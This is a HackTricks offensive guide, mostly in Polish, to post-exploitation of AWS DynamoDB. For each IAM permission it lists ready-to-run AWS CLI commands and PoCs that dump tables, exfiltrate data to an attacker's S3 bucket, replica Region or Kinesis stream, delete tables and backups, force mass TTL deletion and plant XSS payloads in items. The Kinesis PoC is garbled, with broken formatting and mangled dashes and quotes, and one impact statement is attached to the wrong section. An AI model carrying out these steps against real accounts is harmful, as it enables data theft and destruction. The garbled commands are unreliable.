AWS - DynamoDB Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

DynamoDB

For more information check:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Attacker z tymi uprawnieniami będzie w stanie pobrać elementy z tabel według primary key (nie możesz po prostu zażądać wszystkich danych z tabeli). Oznacza to, że musisz znać primary keys (możesz je poznać, pobierając metadane tabeli (describe-table)).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potencjalny wpływ: Pośredni privesc przez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:GetItem

Podobnie jak poprzednie uprawnienia to pozwala potencjalnemu atakującemu odczytać wartości z jednej tabeli, znając klucz główny wpisu do pobrania:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Z tym uprawnieniem możliwe jest także użycie metody transact-get-items w następujący sposób:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potencjalny wpływ: Pośredni privesc przez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:Query

Podobnie jak poprzednie uprawnienia to pozwala potencjalnemu atakującemu odczytać wartości tylko z 1 tabeli, jeśli zna klucz podstawowy wpisu do pobrania. Pozwala użyć subset of comparisons, ale jedynym porównaniem dozwolonym z kluczem podstawowym (który musi się pojawić) jest “EQ”, więc nie można użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potencjalny wpływ: Indirect privesc poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:Scan

Możesz użyć tego uprawnienia, aby łatwo zrzucić całą tabelę.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potencjalny wpływ: Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:PartiQLSelect

Możesz użyć tego uprawnienia, aby dump the entire table easily.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

To uprawnienie pozwala również na wykonanie batch-execute-statement w następujący sposób:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ale musisz określić klucz główny z wartością, więc nie jest to zbyt użyteczne.

Potencjalny wpływ: Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

To uprawnienie pozwoli attackerowi na wyeksportowanie całej tabeli do S3 bucket według jego wyboru:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Zauważ, że aby to zadziałało, tabela musi mieć włączone point-in-time-recovery, możesz sprawdzić, czy tabela ją ma za pomocą:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Jeśli nie jest włączone, musisz je włączyć, a do tego potrzebujesz uprawnienia dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potencjalny wpływ: Pośredni privesc poprzez odnalezienie w tabeli wrażliwych informacji

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Dysponując tymi uprawnieniami, atakujący mógłby utworzyć nową tabelę z kopii zapasowej (a nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, mając niezbędne uprawnienia, mógłby sprawdzić informacje z kopii zapasowych, które nie były już dostępne w tabeli produkcyjnej.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potencjalny wpływ: Pośrednia privesc przez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli

dynamodb:PutItem

To uprawnienie pozwala użytkownikom dodać nowy item do tabeli lub zastąpić istniejący item nowym itemem. Jeśli item o tym samym kluczu głównym już istnieje, cały item zostanie zastąpiony nowym itemem. Jeśli klucz główny nie istnieje, nowy item z określonym kluczem głównym zostanie utworzony.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potencjalny wpływ: Wykorzystanie dalszych podatności/bypasses przez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

dynamodb:UpdateItem

To uprawnienie pozwala użytkownikom modyfikować istniejące atrybuty elementu lub dodać nowe atrybuty do elementu. Nie zastępuje całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja utworzy nowy element z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Potencjalny wpływ: Wykorzystanie dalszych vulnerabilities/bypasses poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

dynamodb:DeleteTable

An attacker z tym uprawnieniem może usunąć tabelę DynamoDB, powodując utratę danych

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potencjalny wpływ: Utrata danych oraz zakłócenia usług zależnych od usuniętej tabeli.

dynamodb:DeleteBackup

Atakujący posiadający to uprawnienie może usunąć kopię zapasową DynamoDB, potencjalnie powodując utratę danych w przypadku scenariusza odzyskiwania po awarii.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potencjalny wpływ: Utrata danych i niemożność przywrócenia z kopii zapasowej podczas scenariusza disaster recovery.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: Przetestować, czy to faktycznie działa

Atakujący posiadający te uprawnienia może włączyć stream na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do streama w celu monitorowania zmian w tabeli w czasie rzeczywistym. Pozwala to atakującemu monitorować i exfiltrate zmiany danych, co potencjalnie może prowadzić do data leakage.

  1. Włącz stream na tabeli DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Opisz strumień, aby uzyskać ARN i inne szczegóły:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Pobierz shard iterator, używając stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>

Użyj shard iterator, aby uzyskać dostęp do strumienia i exfiltrate danych:

aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potential impact: Monitorowanie w czasie rzeczywistym i ujawnianie danych dotyczących zmian w tabeli DynamoDB.

Read items via dynamodb:UpdateItem and ReturnValues=ALL_OLD

Atakujący z jedynie dynamodb:UpdateItem na tabeli może odczytywać elementy bez zwykłych uprawnień do odczytu (GetItem/Query/Scan) poprzez wykonanie nieszkodliwej aktualizacji i zażądanie --return-values ALL_OLD. DynamoDB zwróci pełny obraz elementu sprzed aktualizacji w polu Attributes odpowiedzi (to nie zużywa RCUs).

  • Minimalne uprawnienia: dynamodb:UpdateItem na docelowej tabeli/kluczu.
  • Wymagania wstępne: Musisz znać klucz podstawowy elementu.

Przykład (dodaje nieszkodliwy atrybut i exfiltrates poprzedni element w odpowiedzi):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

Odpowiedź CLI będzie zawierać blok Attributes zawierający kompletny poprzedni item (wszystkie atrybuty), co w praktyce daje prymityw odczytu mając jedynie dostęp tylko do zapisu.

Potencjalny wpływ: Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia do zapisu, umożliwiający exfiltration wrażliwych danych, gdy znane są klucze główne.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Stealth exfiltration poprzez dodanie nowego replica Region do DynamoDB Global Table (version 2019.11.21). Jeśli principal może dodać regionalną replikę, cała tabela zostaje zreplikowana do Regionu wybranego przez attacker, skąd attacker może odczytać wszystkie elementy.

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Uprawnienia: dynamodb:UpdateTable (z replica-updates) lub dynamodb:CreateTableReplica na docelowej tabeli. Jeśli w replice użyto CMK, mogą być wymagane uprawnienia KMS do tego klucza.

Potencjalny wpływ: Replikacja całej tabeli do Regionu kontrolowanego przez atakującego, prowadząca do ukrytej eksfiltracji danych.

dynamodb:TransactWriteItems (odczyt przez nieudaną ConditionExpression + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Atakujący z uprawnieniami do transakcyjnych zapisów może eksfiltrować pełne atrybuty istniejącego elementu wykonując Update wewnątrz TransactWriteItems, który celowo powoduje niepowodzenie ConditionExpression, ustawiając jednocześnie ReturnValuesOnConditionCheckFailure=ALL_OLD. W razie niepowodzenia DynamoDB umieszcza wcześniejsze atrybuty w powodach anulowania transakcji, co w praktyce zamienia dostęp tylko do zapisu w dostęp do odczytu wybranych kluczy.

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Uprawnienia: dynamodb:TransactWriteItems na docelowej tabeli (i na powiązanym elemencie). Uprawnienia do odczytu nie są wymagane.

Potencjalny wpływ: Odczyt dowolnych elementów (po kluczu głównym) z tabeli, używając jedynie uprawnień do zapisu transakcyjnego, poprzez zwracane powody anulowania.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query na GSI

Omijanie ograniczeń odczytu przez stworzenie Global Secondary Index (GSI) z ProjectionType=ALL na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość we wszystkich elementach, a następnie Query indeksu, aby pobrać pełne elementy. Działa to nawet jeśli Query/Scan na tabeli bazowej jest zabronione, o ile możesz zapytać ARN indeksu.

  • Minimalne uprawnienia:
  • dynamodb:UpdateTable na docelowej tabeli (do utworzenia GSI z ProjectionType=ALL).
  • dynamodb:UpdateItem na kluczach tabeli docelowej (aby ustawić indeksowany atrybut dla każdego elementu).
  • dynamodb:Query na ARN zasobu indeksu (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Kroki (PoC w us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Potencjalny wpływ: Pełna eksfiltracja tabeli poprzez zapytania do nowo utworzonego GSI, który zwraca wszystkie atrybuty, nawet gdy podstawowe API odczytu tabeli są odmówione.

dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)

Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłego exfiltrate zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każde zdarzenie INSERT/MODIFY/REMOVE jest przekazywane niemal w czasie rzeczywistym do strumienia bez konieczności posiadania uprawnień do odczytu tabeli.

Minimalne uprawnienia (atakujący):

  • dynamodb:EnableKinesisStreamingDestination on the target table
  • Optionally dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable to monitor status
  • Read permissions on the attacker-owned Kinesis stream to consume records: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

Atakujący posiadający uprawnienie dynamodb:UpdateTimeToLive może zmienić konfigurację TTL (time-to-live) tabeli — włączyć lub wyłączyć TTL. Gdy TTL jest włączone, poszczególne elementy, które zawierają skonfigurowany atrybut TTL, zostaną automatycznie usunięte po osiągnięciu czasu wygaśnięcia. Wartość TTL jest po prostu kolejnym atrybutem każdego elementu; elementy bez tego atrybutu nie są objęte usuwaniem opartym na TTL.

Jeśli elementy nie zawierają już atrybutu TTL, atakujący potrzebowałby również uprawnienia do aktualizacji elementów (na przykład dynamodb:UpdateItem), aby dodać atrybut TTL i spowodować masowe usunięcia.

Najpierw włącz TTL na tabeli, określając nazwę atrybutu, która ma być używana do określania czasu wygaśnięcia:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Następnie zaktualizuj elementy, aby dodać atrybut TTL (epoch seconds), dzięki czemu wygasną i zostaną usunięte:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Atakujący posiadający uprawnienia dynamodb:RestoreTableFromAwsBackup lub dynamodb:RestoreTableToPointInTime może tworzyć nowe tabele przywrócone z kopii zapasowych lub z point-in-time recovery (PITR) bez nadpisywania oryginalnej tabeli. Przywrócona tabela zawiera pełny obraz danych z wybranego punktu, więc atakujący może go użyć do exfiltrate informacji historycznych lub uzyskać complete dump poprzedniego stanu bazy danych.

Przywróć tabelę DynamoDB z kopii zapasowej na żądanie:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Przywróć tabelę DynamoDB do określonego punktu w czasie (utwórz nową tabelę z przywróconym stanem):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Potencjalny wpływ: Ciągła, niemal w czasie rzeczywistym eksfiltracja zmian w tabeli do kontrolowanego przez atakującego strumienia Kinesis bez wykonywania bezpośrednich operacji odczytu na tabeli.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks